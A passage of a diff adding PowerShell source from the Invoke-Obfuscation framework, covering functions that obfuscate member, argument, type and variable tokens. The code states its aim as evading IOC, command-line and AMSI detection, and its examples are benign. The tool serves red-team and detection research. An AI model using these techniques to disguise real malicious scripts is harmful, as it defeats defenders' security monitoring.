+= $CurrentChar; Continue} + + # Add tick. + $ObfuscatedToken += '`' + $CurrentChar + } + Else + { + $ObfuscatedToken += $CurrentChar + } + } + + # If $Token immediately follows a . or :: (and does not begin $ScriptString) then encapsulate with double quotes so ticks are valid. + # E.g. both InvokeCommand and InvokeScript in $ExecutionContext.InvokeCommand.InvokeScript + If((($Token.Start -gt 0) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '.')) -OR (($Token.Start -gt 1) -AND ($ScriptString.SubString($Token.Start-2,2) -eq '::'))) + { + # Encapsulate the obfuscated token with double quotes since ticks were introduced. + $ObfuscatedToken = '"' + $ObfuscatedToken + '"' + } + ElseIf($EncapsulateWithDoubleQuotes) + { + # Encapsulate the obfuscated token with double quotes since ticks were introduced. + $ObfuscatedToken = '"' + $ObfuscatedToken + '"' + } + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-ObfuscatedMemberTokenLevel3 +{ +<# +.SYNOPSIS + +Obfuscates member token by randomizing its case, randomly concatenating the member as a string and adding the .invoke operator. This enables us to treat a member token as a string to gain the obfuscation benefits of a string. + +Invoke-Obfuscation Function: Out-ObfuscatedMemberTokenLevel3 +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated, Out-StringDelimitedConcatenatedAndReordered (both located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedMemberTokenLevel3 obfuscates a given token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Tokens + +Specifies the token array containing the token we will obfuscate. + +.PARAMETER Index + +Specifies the index of the token to obfuscate. + +.PARAMETER ObfuscationLevel + +Specifies whether to 1) Concatenate or 2) Reorder the Member token value. + +.EXAMPLE + +C:\PS> $ScriptString = "[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {If($Tokens[$i].Type -eq 'Member') {$ScriptString = Out-ObfuscatedMemberTokenLevel3 $ScriptString $Tokens $i 1}} +C:\PS> $ScriptString + +[console]::('wR'+'It'+'eline').Invoke('Hello World!'); [console]::('wrItEL'+'IN'+'E').Invoke('Obfuscation Rocks!') + +C:\PS> $ScriptString = "[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {If($Tokens[$i].Type -eq 'Member') {$ScriptString = Out-ObfuscatedMemberTokenLevel3 $ScriptString $Tokens $i 2}} +C:\PS> $ScriptString + +[console]::("{0}{2}{1}"-f 'W','ITEline','r').Invoke('Hello World!'); [console]::("{2}{1}{0}" -f 'liNE','RITE','W').Invoke('Obfuscation Rocks!') + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')} 'Member' 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken[]] + $Tokens, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Int] + $Index, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateSet(1, 2)] + [Int] + $ObfuscationLevel + ) + + $Token = $Tokens[$Index] + + # The Parameter Attributes in $MemberTokensToOnlyRandomCase (defined at beginning of script) cannot be obfuscated like other Member Tokens + # For these tokens we will only randomize the case and then return as is. + # Source: https://social.technet.microsoft.com/wiki/contents/articles/15994.powershell-advanced-function-parameter-attributes.aspx + If($MemberTokensToOnlyRandomCase -Contains $Token.Content.ToLower()) + { + $ObfuscatedToken = Out-RandomCase $Token.Content + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + Return $ScriptString + } + + # If $Token immediately follows a . or :: (and does not begin $ScriptString) of if followed by [] type cast within + # parentheses then only allow Member token to be obfuscated with ticks and quotes. + # The exception to this is when the $Token is immediately followed by an opening parenthese, like in .DownloadString( + # E.g. both InvokeCommand and InvokeScript in $ExecutionContext.InvokeCommand.InvokeScript + # E.g. If $Token is 'Invoke' then concatenating it and then adding .Invoke() would be redundant. + $RemainingSubString = 50 + If($RemainingSubString -gt $ScriptString.SubString($Token.Start+$Token.Length).Length) + { + $RemainingSubString = $ScriptString.SubString($Token.Start+$Token.Length).Length + } + + # Parse out $SubSubString to make next If block a little cleaner for handling fringe cases in which we will revert to ticks instead of concatenation or reordering of the Member token value. + $SubSubString = $ScriptString.SubString($Token.Start+$Token.Length,$RemainingSubString) + + If(($Token.Content.ToLower() -eq 'invoke') ` + -OR ($Token.Content.ToLower() -eq 'computehash') ` + -OR ($Token.Content.ToLower() -eq 'tobase64string') ` + -OR ($Token.Content.ToLower() -eq 'getstring') ` + -OR ($Token.Content.ToLower() -eq 'getconstructor') ` + -OR (((($Token.Start -gt 0) -AND ($ScriptString.SubString($Token.Start-1,1) -eq '.')) ` + -OR (($Token.Start -gt 1) -AND ($ScriptString.SubString($Token.Start-2,2) -eq '::'))) ` + -AND (($ScriptString.Length -ge $Token.Start+$Token.Length+1) -AND (($SubSubString.SubString(0,1) -ne '(') -OR (($SubSubString.Contains('[')) -AND !($SubSubString.SubString(0,$SubSubString.IndexOf('[')).Contains(')'))))))) + { + # We will use the scriptString length prior to obfuscating 'invoke' to help extract the this token after obfuscation so we can add quotes before re-inserting it. + $PrevLength = $ScriptString.Length + + # Obfuscate 'invoke' token with ticks. + $ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token + + #$TokenLength = 'invoke'.Length + ($ScriptString.Length - $PrevLength) + $TokenLength = $Token.Length + ($ScriptString.Length - $PrevLength) + + # Encapsulate obfuscated and extracted token with double quotes if it is not already. + $ObfuscatedTokenExtracted = $ScriptString.SubString($Token.Start,$TokenLength) + If($ObfuscatedTokenExtracted.StartsWith('"') -AND $ObfuscatedTokenExtracted.EndsWith('"')) + { + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedTokenExtracted + $ScriptString.SubString($Token.Start+$TokenLength) + } + Else + { + $ScriptString = $ScriptString.SubString(0,$Token.Start) + '"' + $ObfuscatedTokenExtracted + '"' + $ScriptString.SubString($Token.Start+$TokenLength) + } + + Return $ScriptString + } + + # Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token. + $TokenContent = $Token.Content + + # If ticks are already present in current Token then remove so they will not interfere with string concatenation. + If($TokenContent.Contains('`')) {$TokenContent = $TokenContent.Replace('`','')} + + # Convert $Token to character array for easier manipulation. + $TokenArray = [Char[]]$TokenContent + + # Randomly upper- and lower-case characters in current token. + $TokenArray = Out-RandomCase $TokenArray + + # User input $ObfuscationLevel (1-2) will choose between concatenating Member token value string or reordering it with the -F format operator. + # I am leaving out Out-ObfuscatedStringCommand's option 3 since that may introduce a Type token unnecessarily ([Regex]). + Switch($ObfuscationLevel) + { + 1 {$ObfuscatedToken = Out-StringDelimitedAndConcatenated $TokenContent -PassThru} + 2 {$ObfuscatedToken = Out-StringDelimitedConcatenatedAndReordered $TokenContent -PassThru} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for Member Token Obfuscation."; Exit} + } + + # Evenly trim leading/trailing parentheses -- .Trim does this unevenly. + While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')')) + { + $ObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim() + } + + # Encapsulate $ObfuscatedToken with parentheses. + $ObfuscatedToken = '(' + $ObfuscatedToken + ')' + + # Retain current token before re-tokenizing if 'invoke' member was introduced (see next For loop below) + $InvokeToken = $Token + # Retain how much the token has increased during obfuscation process so far. + $TokenLengthIncrease = $ObfuscatedToken.Length - $Token.Content.Length + + # Add .Invoke if Member token was originally immediately followed by '(' + If(($Index -lt $Tokens.Count) -AND ($Tokens[$Index+1].Content -eq '(') -AND ($Tokens[$Index+1].Type -eq 'GroupStart')) + { + $ObfuscatedToken = $ObfuscatedToken + '.Invoke' + } + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-ObfuscatedCommandArgumentTokenLevel3 +{ +<# +.SYNOPSIS + +Obfuscates command argument token by randomly concatenating the command argument as a string and encapsulating it with parentheses. + +Invoke-Obfuscation Function: Out-ObfuscatedCommandArgumentTokenLevel3 +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated, Out-StringDelimitedConcatenatedAndReordered (both located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedCommandArgumentTokenLevel3 obfuscates a given token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.PARAMETER ObfuscationLevel + +Specifies whether to 1) Concatenate or 2) Reorder the Argument token value. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'CommandArgument'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedCommandArgumentTokenLevel3 $ScriptString $Token 1} +C:\PS> $ScriptString + +Write-Host 'Hello World!' -ForegroundColor ('Gr'+'een'); Write-Host 'Obfuscation Rocks!' -ForegroundColor ("Gree"+"n") + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'CommandArgument'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedCommandArgumentTokenLevel3 $ScriptString $Token 2} +C:\PS> $ScriptString + +Write-Host 'Hello World!' -ForegroundColor ("{1}{0}"-f 'een','Gr'); Write-Host 'Obfuscation Rocks!' -ForegroundColor ("{0}{1}" -f 'Gre','en') + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'CommandArgument' 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateSet(1, 2)] + [Int] + $ObfuscationLevel + ) + + # Function name declarations are CommandArgument tokens that cannot be obfuscated with concatenations. + # For these we will obfuscated them with ticks because this changes the string from AMSI's perspective but not the final functionality. + # If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function')) + If($ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('function') -or $ScriptString.SubString(0,$Token.Start-1).Trim().ToLower().EndsWith('filter')) + { + $ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token + Return $ScriptString + } + + # Set $Token.Content in a separate variable so it can be modified since Content is a ReadOnly property of $Token. + $TokenContent = $Token.Content + + # If ticks are already present in current Token then remove so they will not interfere with string concatenation. + If($TokenContent.Contains('`')) {$TokenContent = $TokenContent.Replace('`','')} + + # User input $ObfuscationLevel (1-2) will choose between concatenating CommandArgument token value string or reordering it with the -F format operator. + # I am leaving out Out-ObfuscatedStringCommand's option 3 since that may introduce a Type token unnecessarily ([Regex]). + Switch($ObfuscationLevel) + { + 1 {$ObfuscatedToken = Out-StringDelimitedAndConcatenated $TokenContent -PassThru} + 2 {$ObfuscatedToken = Out-StringDelimitedConcatenatedAndReordered $TokenContent -PassThru} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for Argument Token Obfuscation."; Exit} + } + + # Evenly trim leading/trailing parentheses -- .Trim does this unevenly. + While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')')) + { + $ObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim() + } + + # Encapsulate $ObfuscatedToken with parentheses. + $ObfuscatedToken = '(' + $ObfuscatedToken + ')' + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-ObfuscatedTypeToken +{ +<# +.SYNOPSIS + +Obfuscates type token by using direct type cast syntax and concatenating or reordering the Type token value. +This function only applies to Type tokens immediately followed by . or :: operators and then a Member token. +E.g. [Char][Int]'123' will not be obfuscated by this function, but [Console]::WriteLine will be obfuscated. + +Invoke-Obfuscation Function: Out-ObfuscatedTypeToken +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated, Out-StringDelimitedConcatenatedAndReordered (both located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedTypeToken obfuscates a given token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.PARAMETER ObfuscationLevel + +Specifies whether to 1) Concatenate or 2) Reorder the Type token value. + +.EXAMPLE + +C:\PS> $ScriptString = "[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Type'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedTypeToken $ScriptString $Token 1} +C:\PS> $ScriptString + +sET EOU ( [TYPe]('CO'+'NS'+'oLe')) ; ( CHILdiTEM VariablE:EOU ).VALUE::WriteLine('Hello World!'); $eoU::WriteLine('Obfuscation Rocks!') + +C:\PS> $ScriptString = "[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Type'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedTypeToken $ScriptString $Token 2} +C:\PS> $ScriptString + +SET-vAriablE BVgz6n ([tYpe]("{2}{1}{0}" -f'sOle','On','C') ) ; $BVGz6N::WriteLine('Hello World!'); ( cHilDItem vAriAbLE:bVGZ6n ).VAlue::WriteLine('Obfuscation Rocks!') + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')} 'Type' 1 +C:\PS> Out-ObfuscatedTokenCommand {[console]::WriteLine('Hello World!'); [console]::WriteLine('Obfuscation Rocks!')} 'Type' 2 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateSet(1, 2)] + [Int] + $ObfuscationLevel + ) + + # If we are dealing with a Type that is found in $TypesThatCannotByDirectTypeCasted then return as is since it will error if we try to direct Type cast. + ForEach($Type in $TypesThatCannotByDirectTypeCasted) + { + If($Token.Content.ToLower().Contains($Type)) + { + Return $ScriptString + } + } + + # If we are dealing with a Type that is NOT immediately followed by a Member token (denoted by . or :: operators) then we won't obfuscated. + # This is for Type tokens like: [Char][Int]'123' etc. + If(($ScriptString.SubString($Token.Start+$Script:TypeTokenScriptStringGrowth+$Token.Length,1) -ne '.') -AND ($ScriptString.SubString($Token.Start+$Script:TypeTokenScriptStringGrowth+$Token.Length,2) -ne '::')) + { + Return $ScriptString + } + + # This variable will be used to track the growth in length of $ScriptString since we'll be appending variable creation at the beginning of $ScriptString. + # This will allow us to avoid tokenizing $ScriptString for every single Type token that is present. + $PrevLength = $ScriptString.Length + + # See if we've already set another instance of this same Type token previously in this obfsucation iteration. + $RandomVarName = $NULL + $UsingPreviouslyDefinedVarName = $FALSE + ForEach($DefinedTokenVariable in $Script:TypeTokenVariableArray) + { + If($Token.Content.ToLower() -eq $DefinedTokenVariable[0]) + { + $RandomVarName = $DefinedTokenVariable[1] + $UsingPreviouslyDefinedVarName = $TRUE + } + } + + # If we haven't already defined a random variable for this Token type then we will do that. Otherwise we will use the previously-defined variable. + If(!($UsingPreviouslyDefinedVarName)) + { + # User input $ObfuscationLevel (1-2) will choose between concatenating Type token value string (after trimming square brackets) or reordering it with the -F format operator. + # I am leaving out Out-ObfuscatedStringCommand's option 3 since that may introduce another Type token unnecessarily ([Regex]). + + # Trim of encapsulating square brackets before obfuscating the string value of the Type token. + $TokenContent = $Token.Content.Trim('[]') + + Switch($ObfuscationLevel) + { + 1 {$ObfuscatedToken = Out-StringDelimitedAndConcatenated $TokenContent -PassThru} + 2 {$ObfuscatedToken = Out-StringDelimitedConcatenatedAndReordered $TokenContent -PassThru} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for Type Token Obfuscation."; Exit} + } + + # Evenly trim leading/trailing parentheses. + While($ObfuscatedToken.StartsWith('(') -AND $ObfuscatedToken.EndsWith(')')) + { + $ObfuscatedToken = ($ObfuscatedToken.SubString(1,$ObfuscatedToken.Length-2)).Trim() + } + + # Add syntax for direct type casting. + $ObfuscatedTokenTypeCast = '[type]' + '(' + $ObfuscatedToken + ')' + + # Characters we will use to generate random variable names. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToRandomVarName = @(0..9) + $CharsToRandomVarName += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + + # Randomly choose variable name starting length. + $RandomVarLength = (Get-Random -Input @(3..6)) + + # Create random variable with characters from $CharsToRandomVarName. + If($CharsToRandomVarName.Count -lt $RandomVarLength) {$RandomVarLength = $CharsToRandomVarName.Count} + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Keep generating random variables until we find one that is not a substring of $ScriptString. + While($ScriptString.ToLower().Contains($RandomVarName.ToLower())) + { + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + $RandomVarLength++ + } + + # Track this variable name and Type token so we can reuse this variable name for future uses of this same Type token in this obfuscation iteration. + $Script:TypeTokenVariableArray += , @($Token.Content,$RandomVarName) + } + + # Randomly decide if the variable name will be concatenated inline or not. + # Handle both and syntaxes depending on which option is chosen concerning GET variable syntax. + $RandomVarNameMaybeConcatenated = $RandomVarName + $RandomVarNameMaybeConcatenatedWithVariablePrepended = 'variable:' + $RandomVarName + If((Get-Random -Input @(0..1)) -eq 0) + { + $RandomVarNameMaybeConcatenated = '(' + (Out-ConcatenatedString $RandomVarName (Get-Random -Input @('"',"'"))) + ')' + $RandomVarNameMaybeConcatenatedWithVariablePrepended = '(' + (Out-ConcatenatedString "variable:$RandomVarName" (Get-Random -Input @('"',"'"))) + ')' + } + + # Generate random variable SET syntax. + $RandomVarSetSyntax = @() + $RandomVarSetSyntax += '$' + $RandomVarName + ' '*(Get-Random @(0..2)) + '=' + ' '*(Get-Random @(0..2)) + $ObfuscatedTokenTypeCast + $RandomVarSetSyntax += (Get-Random -Input @('Set-Variable','SV','Set')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + ' '*(Get-Random @(1..2)) + '(' + ' '*(Get-Random @(0..2)) + $ObfuscatedTokenTypeCast + ' '*(Get-Random @(0..2)) + ')' + $RandomVarSetSyntax += 'Set-Item' + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenatedWithVariablePrepended + ' '*(Get-Random @(1..2)) + '(' + ' '*(Get-Random @(0..2)) + $ObfuscatedTokenTypeCast + ' '*(Get-Random @(0..2)) + ')' + + # Randomly choose from above variable syntaxes. + $RandomVarSet = (Get-Random -Input $RandomVarSetSyntax) + + # Randomize the case of selected variable syntaxes. + $RandomVarSet = Out-RandomCase $RandomVarSet + + # Generate random variable GET syntax. + $RandomVarGetSyntax = @() + $RandomVarGetSyntax += '$' + $RandomVarName + $RandomVarGetSyntax += '(' + ' '*(Get-Random @(0..2)) + (Get-Random -Input @('Get-Variable','Variable')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + (Get-Random -Input ((' '*(Get-Random @(0..2)) + ').Value'),(' '*(Get-Random @(1..2)) + ('-ValueOnly'.SubString(0,(Get-Random -Minimum 3 -Maximum ('-ValueOnly'.Length+1)))) + ' '*(Get-Random @(0..2)) + ')'))) + $RandomVarGetSyntax += '(' + ' '*(Get-Random @(0..2)) + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenatedWithVariablePrepended + ' '*(Get-Random @(0..2)) + ').Value' + + # Randomly choose from above variable syntaxes. + $RandomVarGet = (Get-Random -Input $RandomVarGetSyntax) + + # Randomize the case of selected variable syntaxes. + $RandomVarGet = Out-RandomCase $RandomVarGet + + # If we're using an existing variable already set in ScriptString for the current Type token then we don't need to prepend an additional SET variable syntax. + $PortionToPrependToScriptString = '' + If(!($UsingPreviouslyDefinedVarName)) + { + $PortionToPrependToScriptString = ' '*(Get-Random @(0..2)) + $RandomVarSet + ' '*(Get-Random @(0..2)) + ';' + ' '*(Get-Random @(0..2)) + } + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $PortionToPrependToScriptString + $ScriptString.SubString(0,$Token.Start+$Script:TypeTokenScriptStringGrowth) + ' '*(Get-Random @(1..2)) + $RandomVarGet + $ScriptString.SubString($Token.Start+$Token.Length+$Script:TypeTokenScriptStringGrowth) + + # Keep track how much $ScriptString grows for each Type token obfuscation iteration. + $Script:TypeTokenScriptStringGrowth = $Script:TypeTokenScriptStringGrowth + $PortionToPrependToScriptString.Length + + Return $ScriptString +} + + +Function Out-ObfuscatedVariableTokenLevel1 +{ +<# +.SYNOPSIS + +Obfuscates variable token by randomizing its case, randomly adding ticks and wrapping it in curly braces. + +Invoke-Obfuscation Function: Out-ObfuscatedVariableTokenLevel1 +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedVariableTokenLevel1 obfuscates a given token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.EXAMPLE + +C:\PS> $ScriptString = "`$Message1 = 'Hello World!'; Write-Host `$Message1 -ForegroundColor Green; `$Message2 = 'Obfuscation Rocks!'; Write-Host `$Message2 -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Variable'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-ObfuscatedVariableTokenLevel1 $ScriptString $Token} +C:\PS> $ScriptString + +${m`e`ssAge1} = 'Hello World!'; Write-Host ${MEss`Ag`e1} -ForegroundColor Green; ${meSsAg`e`2} = 'Obfuscation Rocks!'; Write-Host ${M`es`SagE2} -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {$Message1 = 'Hello World!'; Write-Host $Message1 -ForegroundColor Green; $Message2 = 'Obfuscation Rocks!'; Write-Host $Message2 -ForegroundColor Green} 'Variable' 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token + ) + + # Return as-is if the variable is already encapsulated with ${}. Otherwise you will get errors if you have something like ${var} turned into ${${var}} + If($ScriptString.SubString($Token.Start,2) -eq '${' -OR $ScriptString.SubString($Token.Start,1) -eq '@') + { + Return $ScriptString + } + + # Length of pre-obfuscated ScriptString will be important in extracting out the obfuscated token before we add curly braces. + $PrevLength = $ScriptString.Length + + $ScriptString = Out-ObfuscatedWithTicks $ScriptString $Token + + # Pull out ObfuscatedToken from ScriptString and add curly braces around obfuscated variable token. + $ObfuscatedToken = $ScriptString.SubString($Token.Start,$Token.Length+($ScriptString.Length-$PrevLength)) + $ObfuscatedToken = '${' + $ObfuscatedToken.Trim('"') + '}' + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length+($ScriptString.Length-$PrevLength)) + + Return $ScriptString +} + + +Function Out-RandomCaseToken +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Obfuscates any token by randomizing its case and reinserting it into the ScriptString input variable. + +Invoke-Obfuscation Function: Out-RandomCaseToken +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomCaseToken obfuscates given input as a helper function to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'CommandArgument'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-RandomCaseToken $ScriptString $Token} +C:\PS> $ScriptString + +Write-Host 'Hello World!' -ForegroundColor GREeN; Write-Host 'Obfuscation Rocks!' -ForegroundColor gReeN + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello 